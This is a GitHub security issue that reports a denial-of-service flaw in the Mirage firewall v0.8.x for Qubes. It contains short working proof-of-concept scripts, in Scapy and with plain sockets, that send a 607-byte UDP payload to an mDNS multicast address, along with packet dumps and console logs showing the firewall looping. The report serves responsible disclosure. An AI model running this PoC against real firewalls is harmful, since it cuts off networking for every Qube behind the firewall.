Skip to content

Mirage v0.8.x DoS from untrusted Qube by sending arbitrary UDP payload #166

Closed
@burghardt

Description

I used an mDNS fuzzer over the Mirage firewall and it run into problems resulting in DoS (99% CPU usage, stopped forwarding packets for all Qubes attached to the firewall instance).

Scapy output from fuzzer is quite verbose, but the minimalistic PoC is very simple.

###[ Ethernet ]### 
  dst       = 01:00:5e:7f:ff:fa
  src       = 00:16:3e:5e:6c:00
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 635
     id        = 53
     flags     = DF
     frag      = 0
     ttl       = 1
     proto     = udp
     chksum    = None
     src       = 10.137.0.24
     dst       = 239.255.255.250
     \options   \
###[ UDP ]### 
        sport     = 5353
        dport     = 5353
        len       = 615
        chksum    = None
###[ Raw ]### 
        load      = 'aaaaaaaaaa(...)aaa'

Here is Scapy PoC (minimalized by removing setup of unrelated fields):

#!/usr/bin/env python3

from scapy.all import IP,UDP,send

PAYLOAD = 'a' * 607

dgram = UDP(sport=5353, dport=5353)/PAYLOAD
pkt = IP(dst='239.255.255.250')/dgram
pkt.show()
send(pkt)

I translated this into BSD socket API to void the need for Scapy framework (and running PoC as root):

#!/usr/bin/env python3

from socket import socket, AF_INET, SOCK_DGRAM

TARGET = "239.255.255.250"
PORT = 5353
PAYLOAD = b'a' * 607

s = socket(AF_INET, SOCK_DGRAM)
s.sendto(PAYLOAD, (TARGET, PORT))

The test setup was:
[Qube running PoC] -> [Mirage firewall] -> [Net Qube]

Tested Mirage firewall versions:
v0.7.1 - ok
v0.8.x - vulnerable

Version v0.7.1 prints this into the console while processing the packet:

2022-12-04 01:06:26 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 2608, off 16384 proto 17, ttl 1, options 
 UDP port 42669 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61)

And the output form v0.8.x loops printing packet details forever:

Solo5: Xen console: port 0x2, ring @0x00000000FEFFF000
            |      ___|
  __|  _ \  |  _ \ __ \
\__ \ (   | | (   |  ) |
____/\___/ _|\___/____/
Solo5: Bindings version v0.7.4
Solo5: Memory map: 32 MB addressable:
Solo5:   reserved @ (0x0 - 0xfffff)
Solo5:       text @ (0x100000 - 0x31bfff)
Solo5:     rodata @ (0x31c000 - 0x386fff)
Solo5:       data @ (0x387000 - 0x540fff)
Solo5:       heap >= 0x541000 < stack < 0x2000000
2022-12-04 01:20:07 -00:00: INF [qubes.rexec] waiting for client...
2022-12-04 01:20:07 -00:00: INF [qubes.db] connecting to server...
2022-12-04 01:20:07 -00:00: INF [qubes.db] connected
2022-12-04 01:20:07 -00:00: INF [qubes.db] got update: "/mapped-ip/10.137.0.24/visible-ip" = "10.137.0.24"
2022-12-04 01:20:07 -00:00: INF [qubes.db] got update: "/mapped-ip/10.137.0.24/visible-gateway" = "10.137.0.27"
2022-12-04 01:20:07 -00:00: INF [qubes.rexec] client connected, using protocol version 3
2022-12-04 01:20:07 -00:00: INF [unikernel] QubesDB and qrexec agents connected in 0.122 s
2022-12-04 01:20:07 -00:00: INF [dao] Got network configuration from QubesDB:
            NetVM IP on uplink network: 10.137.0.18
            Our IP on uplink network:   10.137.0.27
            Our IP on client networks:  10.137.0.27
            DNS primary resolver:       10.139.1.1
            DNS secondary resolver:     10.139.1.2
2022-12-04 01:20:07 -00:00: INF [net-xen frontend] connect 0
2022-12-04 01:20:07 -00:00: INF [net-xen frontend] create: id=0 domid=33
2022-12-04 01:20:07 -00:00: INF [net-xen frontend]  sg:true gso_tcpv4:true rx_copy:true rx_flip:false smart_poll:false
2022-12-04 01:20:07 -00:00: INF [net-xen frontend] MAC: 00:16:3e:5e:6c:00
2022-12-04 01:20:07 -00:00: INF [ethernet] Connected Ethernet interface 00:16:3e:5e:6c:00
2022-12-04 01:20:07 -00:00: INF [ARP] Sending gratuitous ARP for 10.137.0.27 (00:16:3e:5e:6c:00)
2022-12-04 01:20:07 -00:00: INF [ARP] Sending gratuitous ARP for 10.137.0.27 (00:16:3e:5e:6c:00)
2022-12-04 01:20:07 -00:00: INF [udp] UDP layer connected on 10.137.0.27
2022-12-04 01:20:07 -00:00: INF [dao] Watching backend/vif
2022-12-04 01:20:07 -00:00: INF [memory_pressure] Writing meminfo: free 20MiB / 27MiB (72.68 %)
2022-12-04 01:20:07 -00:00: WRN [uplink] Ignored unknown IPv4 message from uplink: Ignoring non-TCP/UDP packet: IPv4 packet 10.137.0.18 -> 224.0.0.22: id 0000, off 16384 proto 2, ttl 1, options 
94 04 00 00
2022-12-04 01:20:08 -00:00: INF [client_net] add client vif {domid=52;device_id=0} with IP 10.137.0.24
2022-12-04 01:20:08 -00:00: WRN [uplink] Ignored unknown IPv4 message from uplink: Ignoring non-TCP/UDP packet: IPv4 packet 10.137.0.18 -> 224.0.0.22: id 0000, off 16384 proto 2, ttl 1, options 
94 04 00 00
2022-12-04 01:20:08 -00:00: INF [client_net] Client 52 (IP: 10.137.0.24) ready
2022-12-04 01:20:08 -00:00: INF [ethernet] Connected Ethernet interface fe:ff:ff:ff:ff:ff
2022-12-04 01:20:08 -00:00: WRN [command] << Unknown command "QUBESRPC qubes.SetMonitorLayout dom0"
2022-12-04 01:20:08 -00:00: INF [client_eth:dom52:10.137.0.24] who-has 10.137.0.27? responding with fe:ff:ff:ff:ff:ff
2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61)
 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                              2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                2022-12-04 01:20:31 -00:00: WRN [firewall] Failed to add NAT rewrite rule: Cannot NAT this packet (IPv4 packet 10.137.0.24 -> 239.255.255.250: id 199a, off 16384 proto 17, ttl 1, options 
 UDP port 46475 -> 5353 with payload 61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
                                     61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61
(...)

This issue seems to be unrelated to #158, as this happens with the following ruleset:

dom0 ~ $ qvm-firewall test-mirage-firewall list
NO  ACTION  HOST  PROTOCOL  PORT(S)  SPECIAL TARGET  ICMP TYPE  EXPIRE  COMMENT
0   accept  -     -         -        -               -          -       -

PoC demo on YouTube:
Watch the PoC on video

Metadata

Assignees

No one assigned

    Labels

    securitySecurity advisory

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions